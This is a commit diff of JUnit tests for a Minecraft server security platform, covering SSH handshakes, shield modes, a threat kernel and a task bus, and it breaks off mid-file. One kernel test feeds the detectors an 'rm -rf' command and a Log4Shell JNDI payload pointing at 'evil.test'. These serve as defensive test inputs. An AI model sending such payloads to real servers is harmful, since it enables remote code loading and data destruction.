提交Git
This commit is contained in:
@@ -0,0 +1,261 @@
|
||||
package com.aluer.console;
|
||||
|
||||
import com.aluer.ai.AIStrategyEngine;
|
||||
import com.aluer.ai.AluerSovereignEngine;
|
||||
import com.aluer.ai.DeepSeekClient;
|
||||
import com.aluer.audit.SecurityAuditService;
|
||||
import com.aluer.backup.BackupService;
|
||||
import com.aluer.config.ServerGuardConfig;
|
||||
import com.aluer.kernel.AluerKernelEngine;
|
||||
import com.aluer.kernel.AluerKernelTaskBus;
|
||||
import com.aluer.kernel.AluerSelfHealingOrchestrator;
|
||||
import com.aluer.model.MetricsData;
|
||||
import com.aluer.monitor.ProcessMonitor;
|
||||
import com.aluer.monitor.ResourceMonitor;
|
||||
import com.aluer.security.CloudflareIntegrationService;
|
||||
import com.aluer.security.CommandExecutionGuardService;
|
||||
import com.aluer.security.DDoSDefenseCoordinator;
|
||||
import com.aluer.security.DDoSProtectionService;
|
||||
import com.aluer.security.DistributedAttackMitigationService;
|
||||
import com.aluer.security.FirewallService;
|
||||
import com.aluer.security.GeoIPService;
|
||||
import com.aluer.security.HostEnforcementService;
|
||||
import com.aluer.security.IPReputationService;
|
||||
import com.aluer.security.IntrusionDetectionService;
|
||||
import com.aluer.security.LoadBalancerService;
|
||||
import com.aluer.security.MinecraftProtocolSecurityService;
|
||||
import com.aluer.security.NetworkMonitorService;
|
||||
import com.aluer.security.NetworkThreatFusionService;
|
||||
import com.aluer.security.PacketInspectionService;
|
||||
import com.aluer.security.PortScanDetectionService;
|
||||
import com.aluer.security.RateLimitService;
|
||||
import com.aluer.security.SecurityBaselineHardeningService;
|
||||
import com.aluer.security.SecurityOrchestrationService;
|
||||
import com.aluer.security.TrafficAnalysisService;
|
||||
import com.aluer.security.WebApplicationFirewall;
|
||||
import com.aluer.service.RconClient;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertFalse;
|
||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
class AluerEngineHandshakeServiceTest {
|
||||
|
||||
@Test
|
||||
void issuesGrantTokenAfterSovereignHandshake() {
|
||||
Fixture fixture = new Fixture();
|
||||
|
||||
AluerEngineHandshakeService.HandshakeResult result = fixture.handshakeService.requestSshHandshake(
|
||||
new AluerEngineHandshakeService.HandshakeIntent("198.51.100.10", 22, "root", "test-connect")
|
||||
);
|
||||
|
||||
assertTrue(result.isApproved());
|
||||
assertNotNull(result.getToken());
|
||||
assertFalse(result.getToken().isBlank());
|
||||
assertEquals("ALUER_SOVEREIGN_LOOP", result.getEngine());
|
||||
|
||||
AluerEngineHandshakeService.HandshakeGrant grant = fixture.handshakeService.consumeSshGrant(
|
||||
result.getToken(),
|
||||
"198.51.100.10",
|
||||
22,
|
||||
"root"
|
||||
);
|
||||
assertEquals("198.51.100.10", grant.getHost());
|
||||
assertEquals("root", grant.getUsername());
|
||||
}
|
||||
|
||||
private static final class Fixture {
|
||||
private final ServerGuardConfig config = new ServerGuardConfig();
|
||||
private final AluerEngineHandshakeService handshakeService;
|
||||
|
||||
private Fixture() {
|
||||
config.getSecurity().getKernel().setEnabled(false);
|
||||
config.getSecurity().getTaskBus().setEnabled(true);
|
||||
config.getSecurity().getTaskBus().setAutoDispatch(false);
|
||||
config.getSecurity().getSelfHealing().setEnabled(false);
|
||||
config.getSecurity().getSelfHealing().setDryRun(true);
|
||||
config.getSecurity().getHostEnforcement().setEnabled(false);
|
||||
config.getSecurity().getCloudEdge().setEnabled(false);
|
||||
config.getSecurity().getCloudEdge().setDryRun(true);
|
||||
config.getSecurity().getShield().setEnabled(true);
|
||||
config.getSecurity().getShield().setAutoEnableUnderAttack(true);
|
||||
config.getDashboard().getSshGateway().setRequireEngineHandshake(true);
|
||||
config.getMinecraft().getRcon().setPassword("strong-rcon-password");
|
||||
|
||||
FakeProcessMonitor processMonitor = new FakeProcessMonitor(config);
|
||||
FakeResourceMonitor resourceMonitor = new FakeResourceMonitor(config);
|
||||
FakeBackupService backupService = new FakeBackupService(config);
|
||||
FakeRconClient rconClient = new FakeRconClient(config);
|
||||
|
||||
DDoSProtectionService ddosProtectionService = new DDoSProtectionService();
|
||||
FirewallService firewallService = new FirewallService();
|
||||
IntrusionDetectionService intrusionDetectionService = new IntrusionDetectionService();
|
||||
NetworkMonitorService networkMonitorService = new NetworkMonitorService();
|
||||
TrafficAnalysisService trafficAnalysisService = new TrafficAnalysisService();
|
||||
PortScanDetectionService portScanDetectionService = new PortScanDetectionService();
|
||||
PacketInspectionService packetInspectionService = new PacketInspectionService();
|
||||
IPReputationService ipReputationService = new IPReputationService();
|
||||
GeoIPService geoIPService = new GeoIPService();
|
||||
RateLimitService rateLimitService = new RateLimitService();
|
||||
NetworkThreatFusionService fusion = new NetworkThreatFusionService(
|
||||
ddosProtectionService,
|
||||
firewallService,
|
||||
intrusionDetectionService,
|
||||
networkMonitorService,
|
||||
trafficAnalysisService,
|
||||
portScanDetectionService,
|
||||
packetInspectionService,
|
||||
ipReputationService,
|
||||
geoIPService,
|
||||
rateLimitService
|
||||
);
|
||||
|
||||
SecurityBaselineHardeningService hardening = new SecurityBaselineHardeningService(config);
|
||||
CommandExecutionGuardService commandGuard = new CommandExecutionGuardService(config, intrusionDetectionService);
|
||||
WebApplicationFirewall waf = new WebApplicationFirewall();
|
||||
AluerKernelEngine kernel = new AluerKernelEngine(config, fusion, hardening, commandGuard, waf);
|
||||
AIStrategyEngine strategyEngine = new AIStrategyEngine();
|
||||
SecurityAuditService auditService = new SecurityAuditService(config, rconClient);
|
||||
AluerKernelTaskBus taskBus = new AluerKernelTaskBus(config, processMonitor, backupService, rconClient, strategyEngine, auditService, kernel);
|
||||
AluerSelfHealingOrchestrator orchestrator = new AluerSelfHealingOrchestrator(
|
||||
config,
|
||||
kernel,
|
||||
taskBus,
|
||||
resourceMonitor,
|
||||
processMonitor,
|
||||
hardening,
|
||||
auditService
|
||||
);
|
||||
DistributedAttackMitigationService mitigationService = new DistributedAttackMitigationService();
|
||||
HostEnforcementService hostEnforcementService = new HostEnforcementService(config);
|
||||
CloudflareIntegrationService cloudflareIntegrationService = new CloudflareIntegrationService(config);
|
||||
LoadBalancerService loadBalancerService = new LoadBalancerService();
|
||||
DDoSDefenseCoordinator ddosDefenseCoordinator = new DDoSDefenseCoordinator(
|
||||
config,
|
||||
ddosProtectionService,
|
||||
mitigationService,
|
||||
new MinecraftProtocolSecurityService(),
|
||||
hostEnforcementService
|
||||
);
|
||||
AluerMirageShieldService shieldService = new AluerMirageShieldService(
|
||||
config,
|
||||
fusion,
|
||||
ddosDefenseCoordinator,
|
||||
mitigationService,
|
||||
cloudflareIntegrationService,
|
||||
hostEnforcementService,
|
||||
loadBalancerService,
|
||||
hardening,
|
||||
commandGuard,
|
||||
kernel,
|
||||
taskBus,
|
||||
orchestrator,
|
||||
auditService
|
||||
);
|
||||
SecurityOrchestrationService orchestrationService = new SecurityOrchestrationService(
|
||||
hostEnforcementService,
|
||||
cloudflareIntegrationService,
|
||||
rconClient,
|
||||
auditService
|
||||
);
|
||||
DeepSeekClient deepSeekClient = new DeepSeekClient(config);
|
||||
AluerSovereignEngine sovereignEngine = new AluerSovereignEngine(
|
||||
config,
|
||||
deepSeekClient,
|
||||
fusion,
|
||||
orchestrationService,
|
||||
strategyEngine,
|
||||
commandGuard,
|
||||
auditService,
|
||||
hardening,
|
||||
kernel,
|
||||
rconClient
|
||||
);
|
||||
|
||||
handshakeService = new AluerEngineHandshakeService(
|
||||
config,
|
||||
sovereignEngine,
|
||||
kernel,
|
||||
shieldService,
|
||||
auditService
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
private static final class FakeProcessMonitor extends ProcessMonitor {
|
||||
private FakeProcessMonitor(ServerGuardConfig config) {
|
||||
super(config);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isProcessRunning() {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
private static final class FakeResourceMonitor extends ResourceMonitor {
|
||||
private FakeResourceMonitor(ServerGuardConfig config) {
|
||||
super(config);
|
||||
}
|
||||
|
||||
@Override
|
||||
public MetricsData collectMetrics() {
|
||||
MetricsData data = new MetricsData();
|
||||
data.setTps(19.7);
|
||||
data.setCpuUsage(44.0);
|
||||
data.setMemoryUsage(52.0);
|
||||
return data;
|
||||
}
|
||||
}
|
||||
|
||||
private static final class FakeBackupService extends BackupService {
|
||||
private FakeBackupService(ServerGuardConfig config) {
|
||||
super(config);
|
||||
}
|
||||
|
||||
@Override
|
||||
public BackupResult performScheduledBackup() {
|
||||
BackupResult result = new BackupResult();
|
||||
result.setName("handshake-backup");
|
||||
result.setSuccess(true);
|
||||
result.setBackupPath("/tmp/handshake-backup");
|
||||
result.setStartTime(LocalDateTime.now());
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
private static final class FakeRconClient extends RconClient {
|
||||
private FakeRconClient(ServerGuardConfig config) {
|
||||
super(config);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean clearLag() {
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean setSpawnRate(int rate) {
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean enableWhitelist() {
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String executeCommand(String command) {
|
||||
return "ok";
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean restartServer() {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,232 @@
|
||||
package com.aluer.console;
|
||||
|
||||
import com.aluer.ai.AIStrategyEngine;
|
||||
import com.aluer.audit.SecurityAuditService;
|
||||
import com.aluer.backup.BackupService;
|
||||
import com.aluer.config.ServerGuardConfig;
|
||||
import com.aluer.kernel.AluerKernelEngine;
|
||||
import com.aluer.kernel.AluerKernelTaskBus;
|
||||
import com.aluer.kernel.AluerSelfHealingOrchestrator;
|
||||
import com.aluer.model.MetricsData;
|
||||
import com.aluer.monitor.ProcessMonitor;
|
||||
import com.aluer.monitor.ResourceMonitor;
|
||||
import com.aluer.security.CloudflareIntegrationService;
|
||||
import com.aluer.security.CommandExecutionGuardService;
|
||||
import com.aluer.security.DDoSDefenseCoordinator;
|
||||
import com.aluer.security.DDoSProtectionService;
|
||||
import com.aluer.security.DistributedAttackMitigationService;
|
||||
import com.aluer.security.FirewallService;
|
||||
import com.aluer.security.GeoIPService;
|
||||
import com.aluer.security.HostEnforcementService;
|
||||
import com.aluer.security.IPReputationService;
|
||||
import com.aluer.security.IntrusionDetectionService;
|
||||
import com.aluer.security.LoadBalancerService;
|
||||
import com.aluer.security.MinecraftProtocolSecurityService;
|
||||
import com.aluer.security.NetworkMonitorService;
|
||||
import com.aluer.security.NetworkThreatFusionService;
|
||||
import com.aluer.security.PacketInspectionService;
|
||||
import com.aluer.security.PortScanDetectionService;
|
||||
import com.aluer.security.RateLimitService;
|
||||
import com.aluer.security.SecurityBaselineHardeningService;
|
||||
import com.aluer.security.TrafficAnalysisService;
|
||||
import com.aluer.security.WebApplicationFirewall;
|
||||
import com.aluer.service.RconClient;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
class AluerMirageShieldServiceTest {
|
||||
|
||||
@Test
|
||||
void shelterModeProducesDeterrenceAndQueuesContainment() {
|
||||
Fixture fixture = new Fixture();
|
||||
|
||||
Map<String, Object> result = fixture.shieldService.engage("SHELTER", "test-shelter");
|
||||
|
||||
assertEquals("SHELTER", result.get("mode"));
|
||||
assertTrue(String.valueOf(result.get("deterrenceMessage")).contains("ALUER NOTICE"));
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
List<Map<String, Object>> actions = (List<Map<String, Object>>) result.get("actions");
|
||||
assertTrue(actions.stream().anyMatch(action -> "under-attack".equals(action.get("type"))));
|
||||
assertTrue(actions.stream().anyMatch(action -> "task:WHITELIST_LOCKDOWN".equals(action.get("type"))));
|
||||
assertTrue(actions.stream().anyMatch(action -> "self-healing".equals(action.get("type"))));
|
||||
}
|
||||
|
||||
private static final class Fixture {
|
||||
private final ServerGuardConfig config = new ServerGuardConfig();
|
||||
private final AluerMirageShieldService shieldService;
|
||||
|
||||
private Fixture() {
|
||||
config.getSecurity().getKernel().setEnabled(false);
|
||||
config.getSecurity().getTaskBus().setEnabled(true);
|
||||
config.getSecurity().getTaskBus().setAutoDispatch(false);
|
||||
config.getSecurity().getSelfHealing().setEnabled(false);
|
||||
config.getSecurity().getSelfHealing().setDryRun(true);
|
||||
config.getSecurity().getHostEnforcement().setEnabled(false);
|
||||
config.getSecurity().getCloudEdge().setEnabled(false);
|
||||
config.getSecurity().getCloudEdge().setDryRun(true);
|
||||
config.getSecurity().getShield().setEnabled(true);
|
||||
config.getSecurity().getShield().setAutoEnableUnderAttack(true);
|
||||
config.getMinecraft().getRcon().setPassword("strong-rcon-password");
|
||||
|
||||
FakeProcessMonitor processMonitor = new FakeProcessMonitor(config);
|
||||
FakeResourceMonitor resourceMonitor = new FakeResourceMonitor(config);
|
||||
FakeBackupService backupService = new FakeBackupService(config);
|
||||
FakeRconClient rconClient = new FakeRconClient(config);
|
||||
|
||||
DDoSProtectionService ddosProtectionService = new DDoSProtectionService();
|
||||
FirewallService firewallService = new FirewallService();
|
||||
IntrusionDetectionService intrusionDetectionService = new IntrusionDetectionService();
|
||||
NetworkMonitorService networkMonitorService = new NetworkMonitorService();
|
||||
TrafficAnalysisService trafficAnalysisService = new TrafficAnalysisService();
|
||||
PortScanDetectionService portScanDetectionService = new PortScanDetectionService();
|
||||
PacketInspectionService packetInspectionService = new PacketInspectionService();
|
||||
IPReputationService ipReputationService = new IPReputationService();
|
||||
GeoIPService geoIPService = new GeoIPService();
|
||||
RateLimitService rateLimitService = new RateLimitService();
|
||||
|
||||
NetworkThreatFusionService fusion = new NetworkThreatFusionService(
|
||||
ddosProtectionService,
|
||||
firewallService,
|
||||
intrusionDetectionService,
|
||||
networkMonitorService,
|
||||
trafficAnalysisService,
|
||||
portScanDetectionService,
|
||||
packetInspectionService,
|
||||
ipReputationService,
|
||||
geoIPService,
|
||||
rateLimitService
|
||||
);
|
||||
fusion.quarantineIP("198.51.100.55", "test", "bot swarm");
|
||||
|
||||
SecurityBaselineHardeningService hardening = new SecurityBaselineHardeningService(config);
|
||||
CommandExecutionGuardService commandGuard = new CommandExecutionGuardService(config, intrusionDetectionService);
|
||||
WebApplicationFirewall waf = new WebApplicationFirewall();
|
||||
AluerKernelEngine kernel = new AluerKernelEngine(config, fusion, hardening, commandGuard, waf);
|
||||
AIStrategyEngine strategyEngine = new AIStrategyEngine();
|
||||
SecurityAuditService auditService = new SecurityAuditService(config, rconClient);
|
||||
AluerKernelTaskBus taskBus = new AluerKernelTaskBus(config, processMonitor, backupService, rconClient, strategyEngine, auditService, kernel);
|
||||
AluerSelfHealingOrchestrator orchestrator = new AluerSelfHealingOrchestrator(
|
||||
config,
|
||||
kernel,
|
||||
taskBus,
|
||||
resourceMonitor,
|
||||
processMonitor,
|
||||
hardening,
|
||||
auditService
|
||||
);
|
||||
|
||||
DistributedAttackMitigationService mitigationService = new DistributedAttackMitigationService();
|
||||
HostEnforcementService hostEnforcementService = new HostEnforcementService(config);
|
||||
CloudflareIntegrationService cloudflareIntegrationService = new CloudflareIntegrationService(config);
|
||||
LoadBalancerService loadBalancerService = new LoadBalancerService();
|
||||
DDoSDefenseCoordinator ddosDefenseCoordinator = new DDoSDefenseCoordinator(
|
||||
config,
|
||||
ddosProtectionService,
|
||||
mitigationService,
|
||||
new MinecraftProtocolSecurityService(),
|
||||
hostEnforcementService
|
||||
);
|
||||
|
||||
shieldService = new AluerMirageShieldService(
|
||||
config,
|
||||
fusion,
|
||||
ddosDefenseCoordinator,
|
||||
mitigationService,
|
||||
cloudflareIntegrationService,
|
||||
hostEnforcementService,
|
||||
loadBalancerService,
|
||||
hardening,
|
||||
commandGuard,
|
||||
kernel,
|
||||
taskBus,
|
||||
orchestrator,
|
||||
auditService
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
private static final class FakeProcessMonitor extends ProcessMonitor {
|
||||
private FakeProcessMonitor(ServerGuardConfig config) {
|
||||
super(config);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isProcessRunning() {
|
||||
return false;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean restartProcess() {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
private static final class FakeResourceMonitor extends ResourceMonitor {
|
||||
private FakeResourceMonitor(ServerGuardConfig config) {
|
||||
super(config);
|
||||
}
|
||||
|
||||
@Override
|
||||
public MetricsData collectMetrics() {
|
||||
MetricsData data = new MetricsData();
|
||||
data.setTps(9.5);
|
||||
data.setCpuUsage(97.0);
|
||||
data.setMemoryUsage(96.0);
|
||||
return data;
|
||||
}
|
||||
}
|
||||
|
||||
private static final class FakeBackupService extends BackupService {
|
||||
private FakeBackupService(ServerGuardConfig config) {
|
||||
super(config);
|
||||
}
|
||||
|
||||
@Override
|
||||
public BackupResult performScheduledBackup() {
|
||||
BackupResult result = new BackupResult();
|
||||
result.setName("shield-backup");
|
||||
result.setSuccess(true);
|
||||
result.setBackupPath("/tmp/shield-backup");
|
||||
result.setStartTime(LocalDateTime.now());
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
private static final class FakeRconClient extends RconClient {
|
||||
private FakeRconClient(ServerGuardConfig config) {
|
||||
super(config);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean clearLag() {
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean setSpawnRate(int rate) {
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean enableWhitelist() {
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String executeCommand(String command) {
|
||||
return "ok";
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean restartServer() {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
package com.aluer.console;
|
||||
|
||||
import com.aluer.audit.SecurityAuditService;
|
||||
import com.aluer.config.ServerGuardConfig;
|
||||
import com.aluer.security.CommandExecutionGuardService;
|
||||
import com.aluer.security.IntrusionDetectionService;
|
||||
import com.aluer.service.RconClient;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertThrows;
|
||||
|
||||
class RemoteSshGatewayServiceTest {
|
||||
|
||||
@Test
|
||||
void rejectsConnectionWithoutPasswordOrPrivateKey() {
|
||||
ServerGuardConfig config = new ServerGuardConfig();
|
||||
CommandExecutionGuardService commandGuard = new CommandExecutionGuardService(config, new IntrusionDetectionService());
|
||||
SecurityAuditService auditService = new SecurityAuditService(config, new RconClient(config));
|
||||
RemoteSshGatewayService service = new RemoteSshGatewayService(config, commandGuard, auditService);
|
||||
|
||||
assertThrows(IllegalArgumentException.class, () -> service.connect(
|
||||
new RemoteSshGatewayService.ConnectRequest(
|
||||
"test-node",
|
||||
"127.0.0.1",
|
||||
22,
|
||||
"root",
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
""
|
||||
)
|
||||
));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,137 @@
|
||||
package com.aluer.kernel;
|
||||
|
||||
import com.aluer.config.ServerGuardConfig;
|
||||
import com.aluer.security.CommandExecutionGuardService;
|
||||
import com.aluer.security.DDoSProtectionService;
|
||||
import com.aluer.security.FirewallService;
|
||||
import com.aluer.security.GeoIPService;
|
||||
import com.aluer.security.IPReputationService;
|
||||
import com.aluer.security.IntrusionDetectionService;
|
||||
import com.aluer.security.NetworkMonitorService;
|
||||
import com.aluer.security.NetworkThreatFusionService;
|
||||
import com.aluer.security.PacketInspectionService;
|
||||
import com.aluer.security.PortScanDetectionService;
|
||||
import com.aluer.security.RateLimitService;
|
||||
import com.aluer.security.SecurityBaselineHardeningService;
|
||||
import com.aluer.security.TrafficAnalysisService;
|
||||
import com.aluer.security.WebApplicationFirewall;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.ExecutorService;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertFalse;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
class AluerKernelEngineTest {
|
||||
|
||||
@Test
|
||||
void kernelPulseGeneratesCommandAbuseDirectiveAndEchoMemory() throws Exception {
|
||||
try (Fixture fixture = new Fixture()) {
|
||||
fixture.commandGuard.analyzeCommand("tester", "rm -rf /var/tmp/aluer", "198.51.100.60");
|
||||
fixture.waf.checkRequest(
|
||||
"198.51.100.60",
|
||||
"POST",
|
||||
"/console",
|
||||
null,
|
||||
Map.of("X-Exploit", "${jndi:ldap://evil.test/a}"),
|
||||
null
|
||||
);
|
||||
|
||||
AluerKernelEngine.KernelPulse pulse = fixture.kernel.runKernelPulse("test-command");
|
||||
|
||||
assertTrue(pulse.getHeat() >= 60);
|
||||
assertEquals("COMMAND_ABUSE_RESPONSE", pulse.getDirective().getWorkflow());
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
List<Map<String, Object>> echoCells = (List<Map<String, Object>>) fixture.kernel.getKernelMatrix().get("echoCells");
|
||||
assertFalse(echoCells.isEmpty());
|
||||
assertEquals("198.51.100.60", echoCells.get(0).get("target"));
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
void kernelPulseUsesThreatMeshForHighNetworkPressure() throws Exception {
|
||||
try (Fixture fixture = new Fixture()) {
|
||||
String ip = "203.0.113.44";
|
||||
fixture.ddos.blockIP(ip, "SYN_FLOOD", "burst");
|
||||
fixture.firewall.addToBlacklist(ip);
|
||||
fixture.portScan.blockScanner(ip, "PORT_SCAN", "scanner");
|
||||
fixture.ipReputation.addToBlacklist(ip);
|
||||
fixture.packetInspection.inspectPacket(ip, Map.of("size", 16000));
|
||||
fixture.networkMonitor.recordInboundTraffic(ip, 25_000_000L, 120);
|
||||
|
||||
AluerKernelEngine.KernelPulse pulse = fixture.kernel.runKernelPulse("test-network");
|
||||
|
||||
assertTrue(pulse.getResonance() >= 50);
|
||||
assertTrue(
|
||||
List.of("L34_DDOS_RESPONSE", "L7_DDOS_RESPONSE", "MC_BOT_SWARM_RESPONSE", "HOST_INTRUSION_RESPONSE")
|
||||
.contains(pulse.getDirective().getWorkflow())
|
||||
);
|
||||
assertTrue(fixture.kernel.getKernelStatus().containsKey("lastPulse"));
|
||||
}
|
||||
}
|
||||
|
||||
private static final class Fixture implements AutoCloseable {
|
||||
private final ServerGuardConfig config = new ServerGuardConfig();
|
||||
private final DDoSProtectionService ddos = new DDoSProtectionService();
|
||||
private final FirewallService firewall = new FirewallService();
|
||||
private final IntrusionDetectionService intrusion = new IntrusionDetectionService();
|
||||
private final NetworkMonitorService networkMonitor = new NetworkMonitorService();
|
||||
private final TrafficAnalysisService traffic = new TrafficAnalysisService();
|
||||
private final PortScanDetectionService portScan = new PortScanDetectionService();
|
||||
private final PacketInspectionService packetInspection = new PacketInspectionService();
|
||||
private final IPReputationService ipReputation = new IPReputationService();
|
||||
private final GeoIPService geoIP = new GeoIPService();
|
||||
private final RateLimitService rateLimit = new RateLimitService();
|
||||
private final NetworkThreatFusionService threatFusion = new NetworkThreatFusionService(
|
||||
ddos,
|
||||
firewall,
|
||||
intrusion,
|
||||
networkMonitor,
|
||||
traffic,
|
||||
portScan,
|
||||
packetInspection,
|
||||
ipReputation,
|
||||
geoIP,
|
||||
rateLimit
|
||||
);
|
||||
private final SecurityBaselineHardeningService hardeningService;
|
||||
private final CommandExecutionGuardService commandGuard;
|
||||
private final WebApplicationFirewall waf = new WebApplicationFirewall();
|
||||
private final AluerKernelEngine kernel;
|
||||
|
||||
private Fixture() {
|
||||
config.getSecurity().getKernel().setEnabled(false);
|
||||
config.getMinecraft().getRcon().setPassword("this-is-a-strong-rcon-password");
|
||||
config.getSecurity().getHostEnforcement().setEnabled(true);
|
||||
config.getSecurity().getHostEnforcement().setDryRun(false);
|
||||
config.getAi().getDeepseek().getAutoExecute().setEnabled(true);
|
||||
config.getAi().getDeepseek().getAutoExecute().setMinConfidence(92);
|
||||
|
||||
hardeningService = new SecurityBaselineHardeningService(config);
|
||||
commandGuard = new CommandExecutionGuardService(config, intrusion);
|
||||
kernel = new AluerKernelEngine(config, threatFusion, hardeningService, commandGuard, waf);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void close() throws Exception {
|
||||
shutdownExecutors(ddos, firewall, intrusion, networkMonitor, traffic, portScan, packetInspection, ipReputation, rateLimit);
|
||||
}
|
||||
|
||||
private void shutdownExecutors(Object... services) throws Exception {
|
||||
for (Object service : services) {
|
||||
for (Field field : service.getClass().getDeclaredFields()) {
|
||||
field.setAccessible(true);
|
||||
Object value = field.get(service);
|
||||
if (value instanceof ExecutorService executorService) {
|
||||
executorService.shutdownNow();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,162 @@
|
||||
package com.aluer.kernel;
|
||||
|
||||
import com.aluer.ai.AIStrategyEngine;
|
||||
import com.aluer.audit.SecurityAuditService;
|
||||
import com.aluer.backup.BackupService;
|
||||
import com.aluer.config.ServerGuardConfig;
|
||||
import com.aluer.monitor.ProcessMonitor;
|
||||
import com.aluer.security.CommandExecutionGuardService;
|
||||
import com.aluer.security.DDoSProtectionService;
|
||||
import com.aluer.security.FirewallService;
|
||||
import com.aluer.security.GeoIPService;
|
||||
import com.aluer.security.IPReputationService;
|
||||
import com.aluer.security.IntrusionDetectionService;
|
||||
import com.aluer.security.NetworkMonitorService;
|
||||
import com.aluer.security.NetworkThreatFusionService;
|
||||
import com.aluer.security.PacketInspectionService;
|
||||
import com.aluer.security.PortScanDetectionService;
|
||||
import com.aluer.security.RateLimitService;
|
||||
import com.aluer.security.SecurityBaselineHardeningService;
|
||||
import com.aluer.security.TrafficAnalysisService;
|
||||
import com.aluer.security.WebApplicationFirewall;
|
||||
import com.aluer.service.RconClient;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertFalse;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
class AluerKernelTaskBusTest {
|
||||
|
||||
@Test
|
||||
void dispatchesRecoveryAndStabilityTasksThroughPlugins() {
|
||||
Fixture fixture = new Fixture();
|
||||
|
||||
fixture.taskBus.submitTask(AluerKernelTaskBus.TaskType.PROCESS_RECOVERY, "test", 95, Map.of("reason", "dead-process"));
|
||||
fixture.taskBus.submitTask(AluerKernelTaskBus.TaskType.RELIEVE_PRESSURE, "test", 80, Map.of("reason", "lag-spike"));
|
||||
List<AluerKernelTaskBus.KernelTaskResult> results = fixture.taskBus.dispatchQueuedTasks(2);
|
||||
|
||||
assertEquals(2, results.size());
|
||||
assertEquals("recovery-plugin", results.get(0).getPluginId());
|
||||
assertEquals("stability-plugin", results.get(1).getPluginId());
|
||||
assertTrue(fixture.processMonitor.restartAttempts >= 1);
|
||||
assertTrue(fixture.rconClient.clearLagCalls >= 1);
|
||||
assertFalse(fixture.taskBus.getQueueSnapshot(5).iterator().hasNext());
|
||||
}
|
||||
|
||||
private static final class Fixture {
|
||||
private final ServerGuardConfig config = new ServerGuardConfig();
|
||||
private final FakeProcessMonitor processMonitor;
|
||||
private final FakeBackupService backupService;
|
||||
private final FakeRconClient rconClient;
|
||||
private final AIStrategyEngine strategyEngine = new AIStrategyEngine();
|
||||
private final SecurityAuditService auditService;
|
||||
private final AluerKernelTaskBus taskBus;
|
||||
|
||||
private Fixture() {
|
||||
config.getSecurity().getKernel().setEnabled(false);
|
||||
config.getSecurity().getTaskBus().setAutoDispatch(false);
|
||||
config.getSecurity().getTaskBus().setEnabled(true);
|
||||
config.getMinecraft().getRcon().setPassword("strong-rcon-password");
|
||||
|
||||
processMonitor = new FakeProcessMonitor(config);
|
||||
backupService = new FakeBackupService(config);
|
||||
rconClient = new FakeRconClient(config);
|
||||
auditService = new SecurityAuditService(config, rconClient);
|
||||
|
||||
DDoSProtectionService ddos = new DDoSProtectionService();
|
||||
FirewallService firewall = new FirewallService();
|
||||
IntrusionDetectionService intrusion = new IntrusionDetectionService();
|
||||
NetworkMonitorService networkMonitor = new NetworkMonitorService();
|
||||
TrafficAnalysisService traffic = new TrafficAnalysisService();
|
||||
PortScanDetectionService portScan = new PortScanDetectionService();
|
||||
PacketInspectionService packetInspection = new PacketInspectionService();
|
||||
IPReputationService ipReputation = new IPReputationService();
|
||||
GeoIPService geoIP = new GeoIPService();
|
||||
RateLimitService rateLimit = new RateLimitService();
|
||||
NetworkThreatFusionService fusion = new NetworkThreatFusionService(
|
||||
ddos, firewall, intrusion, networkMonitor, traffic, portScan, packetInspection, ipReputation, geoIP, rateLimit
|
||||
);
|
||||
SecurityBaselineHardeningService hardening = new SecurityBaselineHardeningService(config);
|
||||
CommandExecutionGuardService commandGuard = new CommandExecutionGuardService(config, intrusion);
|
||||
